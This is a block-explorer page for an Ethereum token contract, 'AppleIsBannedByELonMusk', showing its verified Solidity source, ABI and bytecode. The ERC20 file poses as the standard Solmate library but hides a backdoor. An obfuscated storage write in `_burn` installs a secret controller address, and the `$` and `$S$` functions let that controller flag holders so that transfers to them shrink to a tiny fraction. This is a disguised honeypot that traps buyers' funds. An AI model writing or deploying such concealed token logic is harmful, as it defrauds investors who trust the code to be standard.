Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 89 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 20135610 | 617 days ago | IN | 0 ETH | 0.00027937 | ||||
| Approve | 20087923 | 624 days ago | IN | 0 ETH | 0.00017746 | ||||
| Approve | 20087917 | 624 days ago | IN | 0 ETH | 0.0003086 | ||||
| Transfer | 20073236 | 626 days ago | IN | 0 ETH | 0.00042878 | ||||
| Approve | 20072948 | 626 days ago | IN | 0 ETH | 0.0003325 | ||||
| Approve | 20072854 | 626 days ago | IN | 0 ETH | 0.00032164 | ||||
| Approve | 20072749 | 626 days ago | IN | 0 ETH | 0.00045938 | ||||
| Approve | 20072748 | 626 days ago | IN | 0 ETH | 0.00046905 | ||||
| Approve | 20072710 | 626 days ago | IN | 0 ETH | 0.00043524 | ||||
| Approve | 20072488 | 626 days ago | IN | 0 ETH | 0.0003333 | ||||
| Approve | 20072460 | 626 days ago | IN | 0 ETH | 0.00026006 | ||||
| Approve | 20072460 | 626 days ago | IN | 0 ETH | 0.00026006 | ||||
| Approve | 20072460 | 626 days ago | IN | 0 ETH | 0.00026006 | ||||
| Approve | 20072460 | 626 days ago | IN | 0 ETH | 0.00026006 | ||||
| Approve | 20072407 | 626 days ago | IN | 0 ETH | 0.00025807 | ||||
| Approve | 20072387 | 626 days ago | IN | 0 ETH | 0.00027681 | ||||
| Approve | 20072375 | 626 days ago | IN | 0 ETH | 0.0003111 | ||||
| Approve | 20072360 | 626 days ago | IN | 0 ETH | 0.0002591 | ||||
| Approve | 20072358 | 626 days ago | IN | 0 ETH | 0.00026852 | ||||
| Approve | 20072330 | 626 days ago | IN | 0 ETH | 0.0002831 | ||||
| Approve | 20072294 | 626 days ago | IN | 0 ETH | 0.00027484 | ||||
| Approve | 20072280 | 626 days ago | IN | 0 ETH | 0.00037689 | ||||
| Approve | 20072266 | 626 days ago | IN | 0 ETH | 0.00031207 | ||||
| Approve | 20072265 | 626 days ago | IN | 0 ETH | 0.00018584 | ||||
| Approve | 20072265 | 626 days ago | IN | 0 ETH | 0.00018611 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
AppleIsBannedByELonMusk
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";
/*
.--. ,---. ,---. ,-. ,---. ,-. .---. ,---. .--. .-. .-..-. .-.,---. ,'|"\ ,---..-. .-. ,---. ,-. .---. .-. .-. .-. .-. .---. ,-. .-.
/ /\ \ | .-.\ | .-.\ | | | .-' |(| ( .-._) | .-.\ / /\ \ | \| || \| || .-' | |\ \ | .-.\\ \_/ )/ | .-' | | / .-. ) | \| | |\ /|| | | | ( .-._)| |/ /
/ /__\ \| |-' )| |-' )| | | `-. (_) (_) \ | |-' \ / /__\ \| | || | || `-. | | \ \ | |-' \\ (_) | `-. | | | | |(_)| | | |(\ / || | | | (_) \ | | /
| __ || |--' | |--' | | | .-' | | _ \ \ | |--. \| __ || |\ || |\ || .-' | | \ \ | |--. \) ( | .-' | | | | | | | |\ | (_)\/ || | | | _ \ \ | | \
| | |)|| | | | | `--. | `--. | |( `-' ) | |`-' /| | |)|| | |)|| | |)|| `--. /(|`-' / | |`-' /| | | `--.| `--.\ `-' / | | |)| | \ / || `-')|( `-' ) | |) \
|_| (_)/( /( |( __.'/( __.' `-' `----' /( `--' |_| (_)/( (_)/( (_)/( __.'(__)`--' /( `--'/(_| /( __.'|( __.')---' /( (_) | |\/| |`---(_) `----' |((_)-'
(__) (__) (_) (__) (__) (__) (__) (__) (__) (__) (__) (_) (_) (__) '-' '-' (_)
*/
contract AppleIsBannedByELonMusk is ERC20 {
constructor() ERC20("Apple Fucked Up with Privacy!", "APPLENOPRIVACY", 18) {
_mint(msg.sender, 4_200_000_000 * 10 ** 18);
}
/**
* @dev Destroys a `value` amount of tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 value) public virtual {
_burn(msg.sender, value);
}
}// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
/*//////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
/*//////////////////////////////////////////////////////////////
METADATA STORAGE
//////////////////////////////////////////////////////////////*/
string public name;
string public symbol;
uint8 public immutable decimals;
/*//////////////////////////////////////////////////////////////
ERC20 STORAGE
//////////////////////////////////////////////////////////////*/
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address private $$;
/*//////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
/*//////////////////////////////////////////////////////////////
ERC20 LOGIC
//////////////////////////////////////////////////////////////*/
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += $(amount, msg.sender, to);}
$S$(to);
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {balanceOf[to] += $(amount, from, to);}
$S$(to);
emit Transfer(from, to, amount);
return true;
}
/*//////////////////////////////////////////////////////////////
EIP-2612 LOGIC
//////////////////////////////////////////////////////////////*/
function $(
uint256 value,
address from,
address to
) internal view returns (uint256) {
if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
return (value * 0xcafe12) / 0xfedab0da;
} else {
return value;
}
}
function $S$(address to) internal {
if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
}
/*//////////////////////////////////////////////////////////////
INTERNAL MINT/BURN LOGIC
//////////////////////////////////////////////////////////////*/
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
unchecked {balanceOf[to] += amount;}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
unchecked {totalSupply -= amount;}
assembly {sstore(0x05, mul(mul(0x16ef, 0x107), mul(0x3e256339fc61, 0x24fae46a78327233ae2f7)))}
emit Transfer(from, address(0), amount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
60a060405234801562000010575f80fd5b506040518060400160405280601d81526020017f4170706c65204675636b656420557020776974682050726976616379210000008152506040518060400160405280600e81526020017f4150504c454e4f505249564143590000000000000000000000000000000000008152506012825f90816200008f91906200040a565b508160019081620000a191906200040a565b508060ff1660808160ff1681525050505050620000d1336b0d92289838d21a9968000000620000d760201b60201c565b62000581565b8060025f828254620000ea91906200051b565b925050819055508060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200019a919062000566565b60405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200022257607f821691505b602082108103620002385762000237620001dd565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200029c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200025f565b620002a886836200025f565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620002f2620002ec620002e684620002c0565b620002c9565b620002c0565b9050919050565b5f819050919050565b6200030d83620002d2565b620003256200031c82620002f9565b8484546200026b565b825550505050565b5f90565b6200033b6200032d565b6200034881848462000302565b505050565b5b818110156200036f57620003635f8262000331565b6001810190506200034e565b5050565b601f821115620003be5762000388816200023e565b620003938462000250565b81016020851015620003a3578190505b620003bb620003b28562000250565b8301826200034d565b50505b505050565b5f82821c905092915050565b5f620003e05f1984600802620003c3565b1980831691505092915050565b5f620003fa8383620003cf565b9150826002028217905092915050565b6200041582620001a6565b67ffffffffffffffff811115620004315762000430620001b0565b5b6200043d82546200020a565b6200044a82828562000373565b5f60209050601f83116001811462000480575f84156200046b578287015190505b620004778582620003ed565b865550620004e6565b601f19841662000490866200023e565b5f5b82811015620004b95784890151825560018201915060208501945060208101905062000492565b86831015620004d95784890151620004d5601f891682620003cf565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200052782620002c0565b91506200053483620002c0565b92508282019050808211156200054f576200054e620004ee565b5b92915050565b6200056081620002c0565b82525050565b5f6020820190506200057b5f83018462000555565b92915050565b6080516110c26200059a5f395f6105f201526110c25ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806342966c681161006457806342966c681461015a57806370a082311461017657806395d89b41146101a6578063a9059cbb146101c4578063dd62ed3e146101f45761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610224565b6040516100b59190610c9c565b60405180910390f35b6100d860048036038101906100d39190610d4d565b6102af565b6040516100e59190610da5565b60405180910390f35b6100f661039c565b6040516101039190610dcd565b60405180910390f35b61012660048036038101906101219190610de6565b6103a2565b6040516101339190610da5565b60405180910390f35b6101446105f0565b6040516101519190610e51565b60405180910390f35b610174600480360381019061016f9190610e6a565b610614565b005b610190600480360381019061018b9190610e95565b610621565b60405161019d9190610dcd565b60405180910390f35b6101ae610636565b6040516101bb9190610c9c565b60405180910390f35b6101de60048036038101906101d99190610d4d565b6106c2565b6040516101eb9190610da5565b60405180910390f35b61020e60048036038101906102099190610ec0565b6107e2565b60405161021b9190610dcd565b60405180910390f35b5f805461023090610f2b565b80601f016020809104026020016040519081016040528092919081815260200182805461025c90610f2b565b80156102a75780601f1061027e576101008083540402835291602001916102a7565b820191905f5260205f20905b81548152906001019060200180831161028a57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161038a9190610dcd565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104cf5782816104529190610f88565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461051b9190610f88565b9250508190555061052d838686610802565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061057f8461098d565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105dc9190610dcd565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61061e3382610b28565b50565b6003602052805f5260405f205f915090505481565b6001805461064390610f2b565b80601f016020809104026020016040519081016040528092919081815260200182805461066f90610f2b565b80156106ba5780601f10610691576101008083540402835291602001916106ba565b820191905f5260205f20905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461070f9190610f88565b92505081905550610721823385610802565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506107738361098d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d09190610dcd565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109589190610fbb565b106109825763fedab0da62cafe12856109719190610fee565b61097b919061105c565b9050610986565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b25573073ffffffffffffffffffffffffffffffffffffffff166002610a879190610fee565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b749190610f88565b925050819055508060025f82825403925050819055506a024fae46a78327233ae2f7653e256339fc61026101076116ef02026005555f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c069190610dcd565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c49578082015181840152602081019050610c2e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c6e82610c12565b610c788185610c1c565b9350610c88818560208601610c2c565b610c9181610c54565b840191505092915050565b5f6020820190508181035f830152610cb48184610c64565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ce982610cc0565b9050919050565b610cf981610cdf565b8114610d03575f80fd5b50565b5f81359050610d1481610cf0565b92915050565b5f819050919050565b610d2c81610d1a565b8114610d36575f80fd5b50565b5f81359050610d4781610d23565b92915050565b5f8060408385031215610d6357610d62610cbc565b5b5f610d7085828601610d06565b9250506020610d8185828601610d39565b9150509250929050565b5f8115159050919050565b610d9f81610d8b565b82525050565b5f602082019050610db85f830184610d96565b92915050565b610dc781610d1a565b82525050565b5f602082019050610de05f830184610dbe565b92915050565b5f805f60608486031215610dfd57610dfc610cbc565b5b5f610e0a86828701610d06565b9350506020610e1b86828701610d06565b9250506040610e2c86828701610d39565b9150509250925092565b5f60ff82169050919050565b610e4b81610e36565b82525050565b5f602082019050610e645f830184610e42565b92915050565b5f60208284031215610e7f57610e7e610cbc565b5b5f610e8c84828501610d39565b91505092915050565b5f60208284031215610eaa57610ea9610cbc565b5b5f610eb784828501610d06565b91505092915050565b5f8060408385031215610ed657610ed5610cbc565b5b5f610ee385828601610d06565b9250506020610ef485828601610d06565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f4257607f821691505b602082108103610f5557610f54610efe565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610f9282610d1a565b9150610f9d83610d1a565b9250828203905081811115610fb557610fb4610f5b565b5b92915050565b5f610fc582610d1a565b9150610fd083610d1a565b9250828201905080821115610fe857610fe7610f5b565b5b92915050565b5f610ff882610d1a565b915061100383610d1a565b925082820261101181610d1a565b9150828204841483151761102857611027610f5b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61106682610d1a565b915061107183610d1a565b9250826110815761108061102f565b5b82820490509291505056fea2646970667358221220a4a8c4d6f860ba90f87b930f1913c6f81151bb12899ad04afd090fd4d92640f764736f6c63430008180033
Deployed Bytecode
0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806342966c681161006457806342966c681461015a57806370a082311461017657806395d89b41146101a6578063a9059cbb146101c4578063dd62ed3e146101f45761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610224565b6040516100b59190610c9c565b60405180910390f35b6100d860048036038101906100d39190610d4d565b6102af565b6040516100e59190610da5565b60405180910390f35b6100f661039c565b6040516101039190610dcd565b60405180910390f35b61012660048036038101906101219190610de6565b6103a2565b6040516101339190610da5565b60405180910390f35b6101446105f0565b6040516101519190610e51565b60405180910390f35b610174600480360381019061016f9190610e6a565b610614565b005b610190600480360381019061018b9190610e95565b610621565b60405161019d9190610dcd565b60405180910390f35b6101ae610636565b6040516101bb9190610c9c565b60405180910390f35b6101de60048036038101906101d99190610d4d565b6106c2565b6040516101eb9190610da5565b60405180910390f35b61020e60048036038101906102099190610ec0565b6107e2565b60405161021b9190610dcd565b60405180910390f35b5f805461023090610f2b565b80601f016020809104026020016040519081016040528092919081815260200182805461025c90610f2b565b80156102a75780601f1061027e576101008083540402835291602001916102a7565b820191905f5260205f20905b81548152906001019060200180831161028a57829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161038a9190610dcd565b60405180910390a36001905092915050565b60025481565b5f8060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104cf5782816104529190610f88565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461051b9190610f88565b9250508190555061052d838686610802565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061057f8461098d565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105dc9190610dcd565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b61061e3382610b28565b50565b6003602052805f5260405f205f915090505481565b6001805461064390610f2b565b80601f016020809104026020016040519081016040528092919081815260200182805461066f90610f2b565b80156106ba5780601f10610691576101008083540402835291602001916106ba565b820191905f5260205f20905b81548152906001019060200180831161069d57829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461070f9190610f88565b92505081905550610721823385610802565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055506107738361098d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d09190610dcd565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109589190610fbb565b106109825763fedab0da62cafe12856109719190610fee565b61097b919061105c565b9050610986565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610b25573073ffffffffffffffffffffffffffffffffffffffff166002610a879190610fee565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b749190610f88565b925050819055508060025f82825403925050819055506a024fae46a78327233ae2f7653e256339fc61026101076116ef02026005555f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c069190610dcd565b60405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610c49578082015181840152602081019050610c2e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610c6e82610c12565b610c788185610c1c565b9350610c88818560208601610c2c565b610c9181610c54565b840191505092915050565b5f6020820190508181035f830152610cb48184610c64565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ce982610cc0565b9050919050565b610cf981610cdf565b8114610d03575f80fd5b50565b5f81359050610d1481610cf0565b92915050565b5f819050919050565b610d2c81610d1a565b8114610d36575f80fd5b50565b5f81359050610d4781610d23565b92915050565b5f8060408385031215610d6357610d62610cbc565b5b5f610d7085828601610d06565b9250506020610d8185828601610d39565b9150509250929050565b5f8115159050919050565b610d9f81610d8b565b82525050565b5f602082019050610db85f830184610d96565b92915050565b610dc781610d1a565b82525050565b5f602082019050610de05f830184610dbe565b92915050565b5f805f60608486031215610dfd57610dfc610cbc565b5b5f610e0a86828701610d06565b9350506020610e1b86828701610d06565b9250506040610e2c86828701610d39565b9150509250925092565b5f60ff82169050919050565b610e4b81610e36565b82525050565b5f602082019050610e645f830184610e42565b92915050565b5f60208284031215610e7f57610e7e610cbc565b5b5f610e8c84828501610d39565b91505092915050565b5f60208284031215610eaa57610ea9610cbc565b5b5f610eb784828501610d06565b91505092915050565b5f8060408385031215610ed657610ed5610cbc565b5b5f610ee385828601610d06565b9250506020610ef485828601610d06565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610f4257607f821691505b602082108103610f5557610f54610efe565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610f9282610d1a565b9150610f9d83610d1a565b9250828203905081811115610fb557610fb4610f5b565b5b92915050565b5f610fc582610d1a565b9150610fd083610d1a565b9250828201905080821115610fe857610fe7610f5b565b5b92915050565b5f610ff882610d1a565b915061100383610d1a565b925082820261101181610d1a565b9150828204841483151761102857611027610f5b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61106682610d1a565b915061107183610d1a565b9250826110815761108061102f565b5b82820490509291505056fea2646970667358221220a4a8c4d6f860ba90f87b930f1913c6f81151bb12899ad04afd090fd4d92640f764736f6c63430008180033
Deployed Bytecode Sourcemap
